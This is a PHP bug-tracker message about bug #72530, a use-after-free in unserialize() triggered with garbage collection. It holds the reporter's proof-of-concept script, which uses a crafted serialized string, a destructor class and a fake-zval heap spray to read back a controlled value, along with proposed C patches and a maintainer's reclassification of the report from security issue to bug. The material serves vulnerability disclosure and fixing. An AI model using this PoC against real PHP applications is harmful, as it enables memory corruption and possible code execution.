Sec Bug->Bug #72530 [Opn]: Use After Free in unserialize() with GC

From: Date: Sat, 02 Jul 2016 08:19:15 +0000
Subject: Sec Bug->Bug #72530 [Opn]: Use After Free in unserialize() with GC
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-201983@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=72530&edit=1 ID: 72530 Updated by: stas@php.net Reported by: taoguangchen at icloud dot com Summary: Use After Free in unserialize() with GC Status: Open -Type: Security +Type: Bug Package: *General Issues -PHP Version: 5.5.37 +PHP Version: 5.6.23 Block user comment: N Private report: Y New Comment: I don't think this qualifies as security issue - since you need specially crafter destructor. Previous Comments: ------------------------------------------------------------------------ [2016-07-02 01:09:05] taoguangchen at icloud dot com update fix, and fix other bugs: ``` var_push_dtor_no_addref(var_hash, rval); } *rval = *rval_ref; + Z_ADDREF_PP(rval_ref); + if (Z_REFCOUNT_PP(rval) > 1) { + SEPARATE_ZVAL_IF_NOT_REF(rval); + } Z_ADDREF_PP(rval); Z_SET_ISREF_PP(rval); ``` ------------------------------------------------------------------------ [2016-07-01 16:26:35] taoguangchen at icloud dot com Description: ------------ Use After Free in unserialize() with GC PoC: ``` $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'; $out = unserialize($poc); gc_collect_cycles(); $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($out[2]); class ryat { var $ryat; var $chtg; function __destruct() { $this->chtg = $this->ryat; } } function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ``` Expected result: ``` int(2) ``` Actual result: ``` array(1) { [0]=> int(1122334455) } ``` Fix (This fix may break some test scripts): ``` "R:" iv ";" { ... *rval = *rval_ref; + if (Z_REFCOUNT_PP(rval_ref) == 1) { + Z_ADDREF_PP(rval_ref); + } Z_ADDREF_PP(rval); Z_SET_ISREF_PP(rval); ``` ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=72530&edit=1

« previous php.bugs (#201983) next »